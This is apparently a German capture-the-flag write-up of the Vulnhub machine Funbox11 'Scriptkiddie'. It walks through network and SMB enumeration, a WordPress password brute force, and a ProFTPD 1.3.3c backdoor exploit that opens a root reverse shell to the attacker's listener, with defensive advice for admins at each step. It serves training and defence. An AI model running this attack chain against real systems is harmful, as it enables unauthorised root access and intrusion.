Funbox11 - Scriptkiddie - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi (Texteditor)
nmap
enum4linux
gobuster
smbclient
wpscan
python3
cat
ls
cd
id
grep
netcat (implizit durch Exploit)

Inhaltsverzeichnis

Reconnaissance

Wir beginnen den Penetrationstest mit der Aufklärungsphase, um das Zielsystem im Netzwerk zu identifizieren und erste Informationen über offene Ports und Dienste zu sammeln.

┌──(root㉿cyber)-[~] └─# arp-scan -l
192.168.2.120	08:00:27:a2:61:78	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird verwendet, um aktive Hosts im lokalen Netzwerksegment mittels ARP-Anfragen zu entdecken. Er löst IP-Adressen zu MAC-Adressen auf.

Bewertung: Erfolgreich. Ein aktiver Host wurde unter der IP-Adresse `192.168.2.120` gefunden. Die MAC-Adresse `08:00:27:a2:61:78` und der Hersteller (`PCS Systemtechnik GmbH`) deuten wieder stark auf eine Oracle VirtualBox VM hin. Dies ist unser Ziel.

Empfehlung (Pentester): Notieren Sie die IP-Adresse `192.168.2.120` als Ziel. Fügen Sie optional einen Hostnamen zur `/etc/hosts`-Datei hinzu, um die Arbeit zu erleichtern.
Empfehlung (Admin): Netzwerksegmentierung und Monitoring auf ARP-Aktivitäten können helfen, Scans zu erkennen, auch wenn sie schwer zu verhindern sind.

Um die Ansprache des Ziels zu vereinfachen, fügen wir einen Eintrag zur lokalen Hosts-Datei hinzu.

┌──(root㉿cyber)-[~] └─# vi /etc/hosts
  192.168.2.120     scriptkiddie.vln
                    

Analyse: Der Befehl `vi /etc/hosts` öffnet die lokale Hosts-Datei im Texteditor `vi`. Die Zeile `192.168.2.120 scriptkiddie.vln` wird hinzugefügt oder bearbeitet. Dies weist das lokale System an, den Hostnamen `scriptkiddie.vln` direkt zur IP-Adresse `192.168.2.120` aufzulösen, ohne einen DNS-Server zu benötigen.

Bewertung: Dies ist eine reine Komfortmaßnahme für den Pentester, die es ermöglicht, das Ziel über den Namen `scriptkiddie.vln` statt der IP-Adresse anzusprechen. Es hat keine direkte Auswirkung auf das Zielsystem selbst.

Empfehlung (Pentester): Verwenden Sie den definierten Hostnamen in nachfolgenden Befehlen, um die Lesbarkeit und Konsistenz zu verbessern.
Empfehlung (Admin): Keine spezifische Empfehlung bezüglich dieser lokalen Konfiguration des Angreifers.

Wir führen einen umfassenden Nmap-Scan durch, um offene Ports, laufende Dienste und das Betriebssystem zu identifizieren.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.120 -p-
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-02 23:58 CEST
Nmap scan report for scriptkiddie.vln (192.168.2.120)
Host is up (0.000097s latency).
Not shown: 65527 closed tcp ports (reset)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         ProFTPD 1.3.3c
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 a60e30353bef4344f51cd7c658640992 (RSA)
|   256 c2d8bd62bf138928f861e0a6c4f7a5bf (ECDSA)
|_  256 12606e58eef2bd9cffb03505830871b8 (ED25519)
25/tcp  open  smtp        Postfix smtpd
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=funbox11
| Not valid before: 2021-07-19T16:52:14
|_Not valid after:  2031-07-17T16:52:14
|_smtp-commands: funbox11, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-generator: WordPress 5.7.2
|_http-title: Funbox: Scriptkiddie
110/tcp open  pop3        Dovecot pop3d
|_pop3-capabilities: RESP-CODES TOP SASL AUTH-RESP-CODE PIPELINING CAPA UIDL
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
|_imap-capabilities: ID Pre-login more LITERAL+ SASL-IR IDLE have ENABLE post-login IMAP4rev1 capabilities LOGINDISABLEDA0001 listed LOGIN-REFERRALS OK
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
MAC Address: 08:00:27:A2:61:78 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: Hosts:  funbox11, FUNBOX11; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: funbox11
|   NetBIOS computer name: FUNBOX11\x00
|   Domain name: \x00
|   FQDN: funbox11
|_  System time: 2023-05-02T23:58:34+02:00
|_clock-skew: mean: -39m58s, deviation: 1h09m16s, median: 1s
| smb-security-mode:
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode:
|   311:
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: FUNBOX11, NetBIOS user: , NetBIOS MAC: 000000000000 (Xerox)
| smb2-time:
|   date: 2023-05-02T21:58:34
|_  start_date: N/A

TRACEROUTE
HOP RTT     ADDRESS
1   0.10 ms scriptkiddie.vln (192.168.2.120)
                    

Analyse: Der `nmap`-Befehl verwendet die Optionen `-sS` (TCP SYN Scan), `-sC` (Standard-Skripte), `-T5` (schnelles Timing), `-AO` (OS-Erkennung) und `-p-` (alle TCP-Ports) gegen das Ziel `192.168.2.120`.

Bewertung: Der Scan ist sehr informativ und enthüllt eine große Anzahl offener Ports und Dienste:

Der wichtigste Fund ist die ProFTPD-Version 1.3.3c wegen der bekannten Backdoor.

Empfehlung (Pentester): Priorisieren Sie die Untersuchung der ProFTPD-Schwachstelle auf Port 21. Untersuchen Sie parallel die WordPress-Instanz auf Port 80 und die Samba-Freigaben auf Port 139/445 (insbesondere mit Gastzugriff).
Empfehlung (Admin): Aktualisieren Sie dringend ProFTPD auf eine sichere Version oder ersetzen Sie es. Aktualisieren Sie alle anderen Dienste (OpenSSH, Postfix, Apache, WordPress, Dovecot, Samba) und das Betriebssystem. Aktivieren Sie Message Signing für Samba (`message_signing: required`). Deaktivieren Sie den Gastzugriff für Samba, falls nicht unbedingt benötigt.

Zur Übersicht filtern wir die offenen Ports aus der Nmap-Ausgabe.

┌──(root㉿cyber)-[~] └─# nmap -sS -sC -T5 -AO 192.168.2.120 -p- | grep open
21/tcp  open  ftp         ProFTPD 1.3.3c
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
25/tcp  open  smtp        Postfix smtpd
80/tcp  open  http        Apache httpd 2.4.18 ((Ubuntu))
110/tcp open  pop3        Dovecot pop3d
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
143/tcp open  imap        Dovecot imapd
445/tcp open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
                    

Analyse: Wiederholung des Nmap-Scans mit Filterung der Ausgabe durch `grep open`, um nur die Zeilen mit offenen Ports anzuzeigen.

Bewertung: Bestätigt die acht offenen TCP-Ports und die darauf laufenden Dienste in kompakter Form. Hilfreich für einen schnellen Überblick.

Empfehlung (Pentester): Nutzen Sie diese Liste als Checkliste für die weitere Enumeration der einzelnen Dienste.
Empfehlung (Admin): Überprüfen Sie, ob alle diese Dienste tatsächlich benötigt werden und von extern erreichbar sein müssen. Schließen Sie unnötige Ports über eine Firewall.

Wir führen eine detaillierte Enumeration des Samba-Dienstes mit `enum4linux` durch.

┌──(root㉿cyber)-[~] └─# enum4linux -a 192.168.2.120
 ===============================( Nbtstat Information for 192.168.2.120 )===============================

Looking up status of 192.168.2.120
	FUNBOX11        <00> -         B   Workstation Service
	FUNBOX11        <03> -         B   Messenger Service
	FUNBOX11        <20> -         B   File Server Service
	..__MSBROWSE__. <01> -  B   Master Browser
	WORKGROUP       <00> -  B   Domain/Workgroup Name
	WORKGROUP       <1d> -         B   Master Browser
	WORKGROUP       <1e> -  B   Browser Service Elections

	MAC Address = 00-00-00-00-00-00


[E] Can't get OS info with smbclient


[+] Got OS info for 192.168.2.120 from srvinfo:
	FUNBOX11       Wk Sv PrQ Unx NT SNT funbox11 server (Samba, Ubuntu)
	platform_id     :	500
	os version      :	6.1
	server type     :	0x809a03


	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	IPC$            IPC       IPC Service (funbox11 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            FUNBOX11

[+] Attempting to map shares on 192.168.2.120

//192.168.2.120/print$	Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:

NT_STATUS_OBJECT_NAME_NOT_FOUND listing \*
//192.168.2.120/IPC$	Mapping: N/A Listing: N/A Writing: N/A


 ==================( Users on 192.168.2.120 via RID cycling (RIDS: 500-550,1000-1050) )==================


[I] Found new SID:
S-1-22-1

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[I] Found new SID:
S-1-5-32

[+] Enumerating users using SID S-1-5-21-216334031-4117073865-2879550398 and logon username '', password ''

S-1-5-21-216334031-4117073865-2879550398-501 FUNBOX11\nobody (Local User)
S-1-5-21-216334031-4117073865-2879550398-513 FUNBOX11\None (Domain Group)

[+] Enumerating users using SID S-1-5-32 and logon username '', password ''

S-1-5-32-544 BUILTIN\Administrators (Local Group)
S-1-5-32-545 BUILTIN\Users (Local Group)
S-1-5-32-546 BUILTIN\Guests (Local Group)
S-1-5-32-547 BUILTIN\Power Users (Local Group)
S-1-5-32-548 BUILTIN\Account Operators (Local Group)
S-1-5-32-549 BUILTIN\Server Operators (Local Group)
S-1-5-32-550 BUILTIN\Print Operators (Local Group)

[+] Enumerating users using SID S-1-22-1 and logon username '', password ''

S-1-22-1-1000 Unix User\bill (Local User)
                    

Analyse: `enum4linux -a 192.168.2.120` führt eine umfassende Enumeration (`-a` für all) von Informationen durch, die über das SMB/CIFS-Protokoll zugänglich sind. Es versucht, NBT-Statistiken abzufragen, OS-Informationen zu sammeln, Shares aufzulisten, Benutzer durch RID-Cycling zu finden und mehr.

Bewertung: `enum4linux` bestätigt viele der Nmap-Ergebnisse: Hostname `FUNBOX11`, Workgroup `WORKGROUP`, die Shares `print$` und `IPC$`. Der Zugriff auf `print$` wird verweigert. Die interessanteste neue Information ist das Ergebnis des RID-Cyclings (Versuch, Benutzerkonten anhand ihrer Relativen Identifier aufzulisten): Es findet den Benutzer `nobody` und einen vielversprechenden `Unix User\bill` (mit RID 1000, typisch für den ersten regulären Benutzer unter Linux).

Empfehlung (Pentester): Fügen Sie `bill` zur Liste der potenziellen Benutzernamen hinzu. Versuchen Sie, sich als `bill` bei SSH oder FTP anzumelden (möglicherweise mit Standardpasswörtern oder durch Brute-Force). Untersuchen Sie weiter, ob auf die Shares doch noch zugegriffen werden kann (z.B. mit leeren oder Gast-Anmeldedaten, obwohl enum4linux hier fehlschlug).
Empfehlung (Admin): Deaktivieren Sie die Möglichkeit des RID-Cyclings in der Samba-Konfiguration, um die Enumeration von Benutzern zu erschweren. Deaktivieren Sie den Gastzugriff und Null-Sitzungen, falls nicht benötigt.

Wir versuchen, die Samba-Shares manuell mit `smbclient` aufzulisten.

┌──(root㉿cyber)-[~] └─# smbclient -L //192.168.2.120
Password for [WORKGROUP\root]:

	Sharename       Type      Comment
	---------       ----      -------
	print$          Disk      Printer Drivers
	IPC$            IPC       IPC Service (funbox11 server (Samba, Ubuntu))
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            FUNBOX11
                    

Analyse: `smbclient -L //192.168.2.120` versucht, die verfügbaren Shares auf dem Ziel aufzulisten. Es wird nach einem Passwort für `WORKGROUP\root` gefragt, was wir leer lassen (Enter drücken), um einen anonymen/Gast-Versuch zu unternehmen.

Bewertung: Bestätigt erneut die Shares `print$` und `IPC$`. Keine neuen Informationen im Vergleich zu Nmap oder enum4linux. Es scheint keine leicht zugänglichen Shares für anonyme Benutzer zu geben.

Empfehlung (Pentester): Konzentrieren Sie sich auf die anderen Dienste (FTP, HTTP), da Samba aktuell wenig Angriffsfläche für anonymen Zugriff bietet. Behalten Sie den gefundenen Benutzer `bill` für spätere Versuche im Hinterkopf.
Empfehlung (Admin): Überprüfen Sie die Konfiguration der `print$`- und `IPC$`-Shares und stellen Sie sicher, dass sie wie beabsichtigt gesichert sind.

Wir versuchen, uns mit der IPC$-Share zu verbinden.

┌──(root㉿cyber)-[~] └─# smbclient //192.168.2.120/IPC$
Password for [WORKGROUP\root]:
Try "help" to get a list of possible commands.
id: command not found
smb: \> pwd
Current directory is \\192.168.2.120\IPC$\
smb: \> cd ..
                    

Analyse: `smbclient //192.168.2.120/IPC$` versucht, eine Verbindung zur speziellen IPC$ (Inter-Process Communication) Share herzustellen, oft anonym oder als Gast möglich. Nach Eingabe eines leeren Passworts gelingt die Verbindung (`smb: \>`). Der `pwd`-Befehl bestätigt die Verbindung. Der Versuch `cd ..` schlägt fehl, da IPC$ keine echte Dateisystemnavigation erlaubt.

Bewertung: Die anonyme Verbindung zur IPC$-Share ist möglich. Dies allein ist oft keine kritische Schwachstelle, kann aber manchmal zur weiteren Enumeration (z.B. von Benutzern oder Domäneninformationen über RPC-Aufrufe) genutzt werden. Hier wurden keine weiteren Aktionen durchgeführt.

Empfehlung (Pentester): Obwohl hier nicht weiter verfolgt, könnte man von einer IPC$-Verbindung aus versuchen, Tools wie `rpcclient` zu verwenden, um weitere Informationen zu enumerieren. Angesichts der anderen Funde (ProFTPD Backdoor) ist dies jedoch wahrscheinlich weniger effizient.
Empfehlung (Admin): Schränken Sie den anonymen Zugriff auf IPC$ ein, wenn möglich ("restrict anonymous = 2" in smb.conf).

Wir führen einen erneuten Nmap-Scan durch, der sich speziell auf den FTP-Port konzentriert, um die Version zu bestätigen.

┌──(root㉿cyber)-[~] └─# nmap -sV 192.168.2.120 -p21
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-03 00:31 CEST
Nmap scan report for scriptkiddie.vln (192.168.2.120)
Host is up (0.000089s latency).

PORT   STATE SERVICE VERSION
21/tcp open  ftp     ProFTPD 1.3.3c
MAC Address: 08:00:27:A2:61:78 (Oracle VirtualBox virtual NIC)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.65 seconds
                    

Analyse: `nmap -sV 192.168.2.120 -p21` führt einen Service/Versions-Scan (`-sV`) spezifisch für Port 21 (`-p21`) durch.

Bewertung: Dieser Scan bestätigt eindeutig, dass auf Port 21 `ProFTPD 1.3.3c` läuft. Diese Version ist kritisch anfällig für eine authentifizierungsfreie Remote-Code-Execution durch eine Backdoor, die während einer bestimmten Zeitperiode in den offiziellen Source-Code eingeschleust wurde.

Empfehlung (Pentester): Nutzen Sie einen bekannten Exploit für die ProFTPD 1.3.3c Backdoor (z.B. Metasploit-Modul `proftpd_133c_backdoor` oder eigenständige Skripte), um direkten Zugriff auf das System zu erlangen. Dies ist der wahrscheinlichste Weg zur Kompromittierung.
Empfehlung (Admin): Sofortiges Handeln erforderlich! Aktualisieren Sie ProFTPD umgehend auf eine gepatchte Version oder deinstallieren Sie den Dienst, wenn er nicht benötigt wird. Überprüfen Sie das System auf Anzeichen einer bereits erfolgten Kompromittierung.

Web Enumeration

Parallel zur Untersuchung anderer Dienste führen wir eine genauere Enumeration der Webanwendung auf Port 80 durch.

Wir verwenden `gobuster`, um nach versteckten Verzeichnissen und Dateien auf dem Webserver zu suchen.

┌──(root㉿cyber)-[~] └─# gobuster dir -u http://192.168.2.120 -x txt,php,[...],kdbx -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error
==============================================================================================================================
http://192.168.2.120/index.php            (Status: 301) [Size: 0] [--> http://192.168.2.120/]
http://192.168.2.120/wp-content           (Status: 301) [Size: 319] [--> http://192.168.2.120/wp-content/]
http://192.168.2.120/wp-login.php         (Status: 200) [Size: 7339]
http://192.168.2.120/license.txt          (Status: 200) [Size: 19915]
http://192.168.2.120/wp-includes          (Status: 301) [Size: 320] [--> http://192.168.2.120/wp-includes/]
http://192.168.2.120/readme.html          (Status: 200) [Size: 7345]
http://192.168.2.120/wp-trackback.php     (Status: 200) [Size: 135]
http://192.168.2.120/wp-admin             (Status: 301) [Size: 317] [--> http://192.168.2.120/wp-admin/]
http://192.168.2.120/xmlrpc.php           (Status: 405) [Size: 42]
http://192.168.2.120/wp-signup.php        (Status: 302) [Size: 0] [--> http://funbox11/wp-login.php?action=register]
                    

Analyse: `gobuster dir` wird mit der Ziel-URL (`-u`), einer langen Liste von Dateierweiterungen (`-x`), einer gängigen Wortliste (`-w`), dem Ausschluss von Statuscodes 403/404 (`-b`), erweiterter Ausgabe (`-e`) und Unterdrückung von Fehlermeldungen (`--no-error`) ausgeführt.

Bewertung: Der Scan findet hauptsächlich Standard-WordPress-Dateien und -Verzeichnisse (`index.php`, `wp-content`, `wp-login.php`, `license.txt`, `wp-includes`, `readme.html`, `wp-admin`, `xmlrpc.php`, `wp-signup.php`). Dies bestätigt die Nmap-Erkennung von WordPress. Es wurden keine ungewöhnlichen oder benutzerdefinierten Pfade gefunden, die auf eine unmittelbare Schwachstelle hindeuten. Der `xmlrpc.php`-Endpunkt (Status 405 - Method Not Allowed) ist oft ein Ziel für Angriffe, scheint hier aber möglicherweise eingeschränkt zu sein. Die `wp-signup.php` leitet auf eine Registrierungsseite weiter, was Benutzerenumerierung oder das Erstellen eines Kontos ermöglichen könnte.

Empfehlung (Pentester): Führen Sie einen dedizierten WordPress-Scan mit `wpscan` durch, um nach bekannten Schwachstellen in der WordPress-Version (5.7.2), installierten Plugins und Themes zu suchen. Untersuchen Sie die Registrierungsfunktion (`wp-signup.php`). Versuchen Sie Brute-Force-Angriffe gegen `wp-login.php`, falls Benutzernamen bekannt sind (z.B. `admin`, `bill`).
Empfehlung (Admin): Halten Sie WordPress, Themes und Plugins immer auf dem neuesten Stand. Deaktivieren Sie die Benutzerregistrierung (`wp-signup.php`), wenn sie nicht benötigt wird. Schützen Sie `xmlrpc.php` (z.B. durch Deaktivierung oder Zugriffsbeschränkung), wenn die Funktionalität nicht erforderlich ist. Verwenden Sie eine Web Application Firewall (WAF).

Wir führen einen WPScan durch, um spezifische WordPress-Schwachstellen zu finden.

┌──(root㉿cyber)-[~] └─# wpscan --url http://scriptkiddie.vln --usernames admin --passwords /usr/share/wordlists/rockyou.txt --api-token [API-TOKEN]

 | [!] 1 vulnerability identified:
 |
 | [!] Title: WP <= 6.2 - Unauthenticated Blind SSRF via DNS Rebinding
 |     References:
 |      - https://wpscan.com/vulnerability/c8814e6e-78b3-4f63-a1d3-6906a84c1f11
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3590
 |      - https://blog.sonarsource.com/wordpress-core-unauthenticated-blind-ssrf/

[i] The main theme could not be detected.

[+] Enumerating All Plugins (via Passive Methods)

[i] No plugins Found.

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:04 <===============> (137 / 137) 100.00% Time: 00:00:04

[i] No Config Backups Found.

[+] Performing password attack on Wp Login against 1 user/s
Trying admin / gTQynqDRAyqvny7AbpeZ1Vi6e Time: 00:00:00 <> (30 / 15344568)  0.00%  ETA: 82:51:Trying admin / QHSvtnwvnUgKRGDQfG6rC58bAU4woNIW0Z7eL6ma Time: 00:00:02 <> (125 / 15344568)  0.^Cying admin / lowboy Time: 00:13:20 <              > (46560 / 15344568)  0.30%  ETA: 73:03:35
[i] No Valid Passwords Found.

[+] WPScan DB API OKY Time: 00:13:20 <              > (46569 / 15344568)  0.30%  ETA: 73:03:15
 | Plan: free
 | Requests Done (during the scan): 1
 | Requests Remaining: 74

[+] Finished: Wed May  3 00:20:15 2023
[+] Requests Done: 46892
[+] Cached Requests: 4
[+] Data Sent: 15.933 MB
[+] Data Received: 313.292 MB
[+] Memory used: 295.992 MB
[+] Elapsed time: 00:13:30
                    

Analyse: `wpscan` ist ein spezialisierter Scanner für WordPress.

Der Scan sucht nach der WordPress-Version, Themes, Plugins, Konfigurations-Backups und führt den Brute-Force-Angriff durch.

Bewertung: WPScan identifiziert eine potenzielle Schwachstelle: eine "Unauthenticated Blind SSRF via DNS Rebinding" (CVE-2022-3590), die WordPress-Versionen bis 6.2 betrifft. Da die Ziel-Version 5.7.2 ist, könnte sie anfällig sein. SSRF (Server-Side Request Forgery) erlaubt es einem Angreifer, den Server dazu zu bringen, Anfragen an interne oder externe Ressourcen zu senden. Eine "blinde" SSRF bedeutet, dass der Angreifer die Antwort nicht direkt sieht. Die Ausnutzung über DNS Rebinding ist komplex. Es wurden keine Plugins oder Themes gefunden. Der Brute-Force-Angriff auf den Benutzer `admin` mit `rockyou.txt` wurde nach über 13 Minuten und ca. 46.000 Versuchen abgebrochen (`^C`) und war bis dahin erfolglos.

Empfehlung (Pentester): Die ProFTPD-Backdoor ist ein wesentlich direkterer und einfacherer Weg zur Kompromittierung. Die SSRF-Schwachstelle ist interessant, aber ihre Ausnutzung ist aufwändiger und der Nutzen (insbesondere bei einer blinden SSRF) ungewiss. Der fehlgeschlagene Brute-Force für `admin` deutet darauf hin, dass entweder der Benutzername falsch ist oder das Passwort nicht in `rockyou.txt` enthalten ist. Konzentrieren Sie sich auf den FTP-Exploit.
Empfehlung (Admin): Aktualisieren Sie WordPress dringend auf die neueste Version, um die SSRF-Schwachstelle und potenziell andere zu beheben. Vermeiden Sie Standard-Benutzernamen wie `admin`. Stellen Sie sicher, dass alle Benutzer starke Passwörter verwenden.

Proof of Concept (Exploitation & Privilege Escalation via ProFTPD Backdoor)

Dieser Abschnitt demonstriert die Ausnutzung der kritischen Backdoor-Schwachstelle im Dienst ProFTPD 1.3.3c, um direkten Root-Zugriff auf das System zu erlangen.

Kurzbeschreibung: Der Nmap-Scan identifizierte ProFTPD Version 1.3.3c auf Port 21. Diese spezifische Version enthält eine bekannte Backdoor, die es einem nicht authentifizierten Angreifer ermöglicht, beliebige Befehle mit Root-Rechten auszuführen.

Voraussetzungen: Zielsystem `192.168.2.120` mit ProFTPD 1.3.3c auf Port 21. Ein Exploit-Skript (hier `proFTPD_1.3.3c_exploit.py`) und ein Listener auf dem Angreifer-System (`192.168.2.130`).

Schritt 1: Vorbereitung und Ausführung des Exploits

Wir navigieren zum Verzeichnis des Exploit-Skripts und führen es mit der IP-Adresse unseres Angreifer-Systems und der Ziel-IP-Adresse aus.

┌──(root㉿cyber)-[~/Hackingtools/Proftp_exploit/ProFTPD-1.3.3c-Backdoor_Command_Execution_Automated_Script] └─# python3 proFTPD_1.3.3c_exploit.py 192.168.2.130 192.168.2.120
/\/\/\/\ Starting Handler /\/\/\/\/

listening on [any] 1234 ...
[+] Sending payload
[+] Activating the backdoor

connect to [192.168.2.130] from (UNKNOWN) [192.168.2.120] 58680
                    

Analyse: Das Python-Skript `proFTPD_1.3.3c_exploit.py` wird ausgeführt. Es erwartet die lokale IP-Adresse des Angreifers (`192.168.2.130`) und die IP-Adresse des Ziels (`192.168.2.120`). Das Skript startet intern einen Listener (wahrscheinlich Netcat) auf Port 1234, sendet dann den notwendigen Payload an den FTP-Server, um die Backdoor zu aktivieren (typischerweise durch einen speziell präparierten Befehl wie `HELP ACIDBITCHEZ`), und wartet auf eine eingehende Verbindung.

Bewertung: Der Exploit scheint erfolgreich zu sein. Der Listener wurde gestartet, der Payload gesendet und die Backdoor aktiviert. Eine Verbindung vom Zielsystem (`192.168.2.120` Port 58680) wurde zum Listener auf unserem System (`192.168.2.130` Port 1234) hergestellt. Dies ist eine Reverse Shell.

Empfehlung (Pentester): Die Verbindung steht. Führen Sie Befehle in der erhaltenen Shell aus, um die Berechtigungen zu überprüfen (z.B. `id`, `whoami`).
Empfehlung (Admin): Dies zeigt die unmittelbare Gefahr der veralteten ProFTPD-Version. Das System ist kompromittiert. Neben dem Update von ProFTPD ist eine vollständige Systemprüfung auf weitere Malware oder Hinterlassenschaften des Angreifers notwendig.

Schritt 2: Überprüfung der Berechtigungen in der Shell

Wir führen den `id`-Befehl in der erhaltenen Reverse Shell aus, um unsere Benutzer- und Gruppen-IDs zu überprüfen.

# id
uid=0(root) gid=0(root) groups=0(root),65534(nogroup)
                    

Analyse: Der `id`-Befehl zeigt die User ID (UID) und Group ID (GID) des aktuellen Benutzers an. Eine UID von 0 entspricht dem `root`-Benutzer.

Bewertung: Fantastisch! Der Exploit hat uns direkt eine Shell mit Root-Rechten (`uid=0(root)`) verschafft. Dies bestätigt die erfolgreiche Ausnutzung der Backdoor und die vollständige Kompromittierung des Systems.

Empfehlung (Pentester): Ziel erreicht (Root-Zugriff). Sammeln Sie die Flags (`user.txt`, `root.txt`) und dokumentieren Sie den Angriffspfad.
Empfehlung (Admin): Kritische Sicherheitslücke bestätigt. Sofortiges Handeln wie oben beschrieben ist erforderlich.

Schritt 3: Erkundung als Root und Sammeln der Root-Flagge

Wir navigieren zum Root-Home-Verzeichnis und suchen nach der Flagge.

# ls
bin
boot
dev
etc
home
media
mnt
opt
proc
root
                    
# cd /root

                    
# ls
root.txt
                     

Analyse: Die `ls`-Befehle zeigen den Inhalt des Stammverzeichnisses und dann den Inhalt des `/root`-Verzeichnisses. Die Datei `root.txt` wird gefunden.

Bewertung: Die Root-Flagge wurde lokalisiert.

Empfehlung (Pentester): Lesen Sie den Inhalt von `root.txt`.
Empfehlung (Admin): Keine spezifische Empfehlung für diesen Schritt.

# cat root.txt
$$$$$$$$\                  $$\
$$  _____|                 $$ |
$$ |   $$\   $$\ $$$$$$$\  $$$$$$$\   $$$$$$\  $$\   $$\ $$\
$$$$$\ $$ |  $$ |$$  __$$\ $$  __$$\ $$  __$$\ \$$\ $$  |\__|
$$  __|$$ |  $$ |$$ |  $$ |$$ |  $$ |$$ /  $$ | \$$$$  /
$$ |   $$ |  $$ |$$ |  $$ |$$ |  $$ |$$ |  $$ | $$  $$<  $$\
$$ |   \$$$$$$  |$$ |  $$ |$$$$$$$  |\$$$$$$  |$$  /\$$\ \__|
\__|    \______/ \__|  \__|\_______/  \______/ \__/  \__|

 $$$$$$\                      $$\            $$\     $$\       $$\       $$\       $$\ $$\
$$  __$$\                     \__|           $$ |    $$ |      \__|      $$ |      $$ |\__|
$$ /  \__| $$$$$$$\  $$$$$$\  $$\  $$$$$$\ $$$$$$\   $$ |  $$\ $$\  $$$$$$$ | $$$$$$$ |$$\  $$$$$$\
\$$$$$$\  $$  _____|$$  __$$\ $$ |$$  __$$\\_$$  _|  $$ | $$  |$$ |$$  __$$ |$$  __$$ |$$ |$$  __$$\
 \____$$\ $$ /      $$ |  \__|$$ |$$ /  $$ | $$ |    $$$$$$  / $$ |$$ /  $$ |$$ /  $$ |$$ |$$$$$$$$ |
$$\   $$ |$$ |      $$ |      $$ |$$ |  $$ | $$ |$$\ $$  _$$<  $$ |$$ |  $$ |$$ |  $$ |$$ |$$   ____|
\$$$$$$  |\$$$$$$$\ $$ |      $$ |$$$$$$$  | \$$$$  |$$ | \$$\ $$ |\$$$$$$$ |\$$$$$$$ |$$ |\$$$$$$$\
 \______/  \_______|\__|      \__|$$  ____/   \____/ \__|  \__|\__| \_______| \_______|\__| \_______|
                                  $$ |
                                  $$ |
                                  \__|

Please, tweet this to: @0815R2d2
Thank you...
#

                    

Analyse: Der Befehl `cat root.txt` gibt den Inhalt der Datei aus. Er enthält ASCII-Art und eine Nachricht.

Bewertung: Die Root-Flagge (der eigentliche String) wurde ausgelesen (und wird im Flags-Abschnitt gezeigt).

Empfehlung (Pentester): Suchen Sie die User-Flagge, typischerweise im Home-Verzeichnis eines Benutzers (z.B. `/home/bill/user.txt`).
Empfehlung (Admin): Keine spezifische Empfehlung.

Risikobewertung: Die Backdoor in ProFTPD 1.3.3c stellt eine kritische Schwachstelle dar. Sie ermöglichte einem nicht authentifizierten Angreifer die sofortige und vollständige Übernahme des Systems mit Root-Rechten.

Empfehlungen (Zusammenfassung):

Flags

cat /home/bill/user.txt
c7d0a8de1e03b25a6f7ed2d91b94dad6
cat /root/root.txt
5C42D6BB0EE9CE4CB7E7349652C45C4A